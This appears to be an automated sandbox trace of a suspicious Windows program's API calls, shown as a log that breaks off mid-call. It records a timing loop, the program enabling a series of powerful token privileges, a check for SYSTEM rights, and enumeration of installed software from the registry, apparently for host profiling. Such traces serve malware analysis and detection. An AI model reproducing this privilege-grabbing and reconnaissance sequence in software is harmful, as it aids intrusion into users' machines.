GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.096] GetTickCount () returned 0x13810 [0047.164] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0xefddc | out: lpLuid=0xefddc*(LowPart=0x1d, HighPart=0)) returned 1 [0047.165] GetCurrentProcess () returned 0xffffffff [0047.165] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdd8 | out: TokenHandle=0xefdd8*=0x258) returned 1 [0047.165] AdjustTokenPrivileges (in: TokenHandle=0x258, DisableAllPrivileges=0, NewState=0xefdc8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0047.165] CloseHandle (hObject=0x258) returned 1 [0047.165] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeTcbPrivilege", lpLuid=0xefddc | out: lpLuid=0xefddc*(LowPart=0x7, HighPart=0)) returned 1 [0047.165] GetCurrentProcess () returned 0xffffffff [0047.165] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdd8 | out: TokenHandle=0xefdd8*=0x258) returned 1 [0047.165] AdjustTokenPrivileges (in: TokenHandle=0x258, DisableAllPrivileges=0, NewState=0xefdc8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x7, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0047.165] CloseHandle (hObject=0x258) returned 1 [0047.165] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeChangeNotifyPrivilege", lpLuid=0xefddc | out: lpLuid=0xefddc*(LowPart=0x17, HighPart=0)) returned 1 [0047.166] GetCurrentProcess () returned 0xffffffff [0047.166] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdd8 | out: TokenHandle=0xefdd8*=0x258) returned 1 [0047.166] AdjustTokenPrivileges (in: TokenHandle=0x258, DisableAllPrivileges=0, NewState=0xefdc8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0047.166] CloseHandle (hObject=0x258) returned 1 [0047.166] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeCreateTokenPrivilege", lpLuid=0xefddc | out: lpLuid=0xefddc*(LowPart=0x2, HighPart=0)) returned 1 [0047.166] GetCurrentProcess () returned 0xffffffff [0047.166] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdd8 | out: TokenHandle=0xefdd8*=0x258) returned 1 [0047.166] AdjustTokenPrivileges (in: TokenHandle=0x258, DisableAllPrivileges=0, NewState=0xefdc8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x2, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0047.166] CloseHandle (hObject=0x258) returned 1 [0047.166] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0xefddc | out: lpLuid=0xefddc*(LowPart=0x11, HighPart=0)) returned 1 [0047.167] GetCurrentProcess () returned 0xffffffff [0047.167] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdd8 | out: TokenHandle=0xefdd8*=0x258) returned 1 [0047.167] AdjustTokenPrivileges (in: TokenHandle=0x258, DisableAllPrivileges=0, NewState=0xefdc8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0047.167] CloseHandle (hObject=0x258) returned 1 [0047.167] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0xefddc | out: lpLuid=0xefddc*(LowPart=0x12, HighPart=0)) returned 1 [0047.167] GetCurrentProcess () returned 0xffffffff [0047.167] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdd8 | out: TokenHandle=0xefdd8*=0x258) returned 1 [0047.167] AdjustTokenPrivileges (in: TokenHandle=0x258, DisableAllPrivileges=0, NewState=0xefdc8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0047.167] CloseHandle (hObject=0x258) returned 1 [0047.167] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeIncreaseQuotaPrivilege", lpLuid=0xefddc | out: lpLuid=0xefddc*(LowPart=0x5, HighPart=0)) returned 1 [0047.167] GetCurrentProcess () returned 0xffffffff [0047.167] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdd8 | out: TokenHandle=0xefdd8*=0x258) returned 1 [0047.167] AdjustTokenPrivileges (in: TokenHandle=0x258, DisableAllPrivileges=0, NewState=0xefdc8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0047.168] CloseHandle (hObject=0x258) returned 1 [0047.168] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeAssignPrimaryTokenPrivilege", lpLuid=0xefddc | out: lpLuid=0xefddc*(LowPart=0x3, HighPart=0)) returned 1 [0047.168] GetCurrentProcess () returned 0xffffffff [0047.168] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdd8 | out: TokenHandle=0xefdd8*=0x258) returned 1 [0047.168] AdjustTokenPrivileges (in: TokenHandle=0x258, DisableAllPrivileges=0, NewState=0xefdc8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x3, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0047.168] CloseHandle (hObject=0x258) returned 1 [0047.168] GetCurrentProcess () returned 0xffffffff [0047.168] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xefdf4 | out: TokenHandle=0xefdf4*=0x258) returned 1 [0047.168] GetTokenInformation (in: TokenHandle=0x258, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xefdf0 | out: TokenInformation=0x0, ReturnLength=0xefdf0) returned 0 [0047.168] GetLastError () returned 0x7a [0047.168] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x716ef8 [0047.168] GetTokenInformation (in: TokenHandle=0x258, TokenInformationClass=0x1, TokenInformation=0x716ef8, TokenInformationLength=0x24, ReturnLength=0xefdf0 | out: TokenInformation=0x716ef8, ReturnLength=0xefdf0) returned 1 [0047.173] ConvertSidToStringSidA () returned 0x1 [0047.173] lstrcmpA (lpString1="S-1-5-21-1836691140-625943148-109919340-1000", lpString2="S-1-5-18") returned 1 [0047.173] LocalFree (hMem=0x70b3b8) returned 0x0 [0047.173] LocalFree (hMem=0x716ef8) returned 0x0 [0047.173] CloseHandle (hObject=0x258) returned 1 [0047.173] LocalAlloc (uFlags=0x40, uBytes=0x181) returned 0x746860 [0047.173] GetUserNameA (in: lpBuffer=0x746860, pcbBuffer=0xefe00 | out: lpBuffer="aDU0VK IWA5kLS", pcbBuffer=0xefe00) returned 1 [0047.174] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xeede8 | out: ppstm=0xeede8*=0x747360) returned 0x0 [0047.175] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xeede4 | out: ppstm=0xeede4*=0x7473d8) returned 0x0 [0047.175] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", phkResult=0xefdf4 | out: phkResult=0xefdf4*=0x258) returned 0x0 [0047.175] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x0, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="AddressBook", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.175] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.175] lstrlenA (lpString="\\") returned 1 [0047.175] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.175] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.175] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.175] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.175] lstrlenA (lpString="AddressBook") returned 11 [0047.175] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x73cc70 [0047.175] lstrcpyA (in: lpString1=0x73cc70, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.175] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="AddressBook" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook" [0047.175] LocalFree (hMem=0x721848) returned 0x0 [0047.175] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.175] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.175] RegCloseKey (hKey=0x380) returned 0x0 [0047.176] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.176] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.176] RegCloseKey (hKey=0x380) returned 0x0 [0047.176] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x380) returned 0x0 [0047.176] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed38, lpData=0x0, lpcbData=0xeed3c*=0xeed24 | out: lpType=0xeed38*=0x0, lpData=0x0, lpcbData=0xeed3c*=0x0) returned 0x2 [0047.176] RegCloseKey (hKey=0x380) returned 0x0 [0047.176] LocalFree (hMem=0x73cc70) returned 0x0 [0047.176] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x1, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Adobe Flash Player Plugin", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.176] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.176] lstrlenA (lpString="\\") returned 1 [0047.176] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.176] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.176] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.176] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.176] lstrlenA (lpString="Adobe Flash Player Plugin") returned 25 [0047.176] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x711b80 [0047.176] lstrcpyA (in: lpString1=0x711b80, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.176] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Adobe Flash Player Plugin" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin" [0047.176] LocalFree (hMem=0x721848) returned 0x0 [0047.176] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.176] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x1, lpData=0x0, lpcbData=0xeed94*=0x4d) returned 0x0 [0047.176] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x74a670 [0047.176] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x74a670, lpcbData=0xeed94*=0x4d | out: lpType=0x0, lpData=0x74a670*=0x43, lpcbData=0xeed94*=0x4d) returned 0x0 [0047.176] RegCloseKey (hKey=0x380) returned 0x0 [0047.176] IStream:Commit (This=0x747360, grfCommitFlags=0x74a670) returned 0x0 [0047.176] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.176] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x74a670 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x1d) returned 0x0 [0047.176] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x716ef8 [0047.176] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x716ef8, lpcbData=0xeed90*=0x1d | out: lpType=0x0, lpData=0x716ef8*=0x41, lpcbData=0xeed90*=0x1d) returned 0x0 [0047.176] RegCloseKey (hKey=0x380) returned 0x0 [0047.177] lstrlenA (lpString="Adobe Flash Player Plugin") returned 25 [0047.177] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.177] IStream:Commit (This=0x7473d8, grfCommitFlags=0x716ef8) returned 0x0 [0047.177] LocalFree (hMem=0x716ef8) returned 0x0 [0047.177] LocalFree (hMem=0x74a670) returned 0x0 [0047.177] LocalFree (hMem=0x711b80) returned 0x0 [0047.177] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x2, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Connection Manager", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.177] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.177] lstrlenA (lpString="\\") returned 1 [0047.177] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.177] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.177] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.177] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.177] lstrlenA (lpString="Connection Manager") returned 18 [0047.177] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x745b68 [0047.177] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.177] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Connection Manager" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager" [0047.177] LocalFree (hMem=0x721848) returned 0x0 [0047.177] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.177] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.177] RegCloseKey (hKey=0x380) returned 0x0 [0047.177] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.177] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.177] RegCloseKey (hKey=0x380) returned 0x0 [0047.177] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x380) returned 0x0 [0047.177] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed38, lpData=0x0, lpcbData=0xeed3c*=0xeed24 | out: lpType=0xeed38*=0x0, lpData=0x0, lpcbData=0xeed3c*=0x0) returned 0x2 [0047.177] RegCloseKey (hKey=0x380) returned 0x0 [0047.177] LocalFree (hMem=0x745b68) returned 0x0 [0047.177] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x3, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DirectDrawEx", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.177] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.177] lstrlenA (lpString="\\") returned 1 [0047.177] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.177] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.177] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.177] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.177] lstrlenA (lpString="DirectDrawEx") returned 12 [0047.177] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0047.177] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.177] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="DirectDrawEx" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx" [0047.177] LocalFree (hMem=0x721848) returned 0x0 [0047.177] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.178] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.178] RegCloseKey (hKey=0x380) returned 0x0 [0047.178] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.178] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.178] RegCloseKey (hKey=0x380) returned 0x0 [0047.178] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x380) returned 0x0 [0047.178] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed38, lpData=0x0, lpcbData=0xeed3c*=0xeed24 | out: lpType=0xeed38*=0x0, lpData=0x0, lpcbData=0xeed3c*=0x0) returned 0x2 [0047.178] RegCloseKey (hKey=0x380) returned 0x0 [0047.178] LocalFree (hMem=0x745b68) returned 0x0 [0047.178] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x4, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Fontcore", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.178] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.178] lstrlenA (lpString="\\") returned 1 [0047.178] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.178] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.178] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: 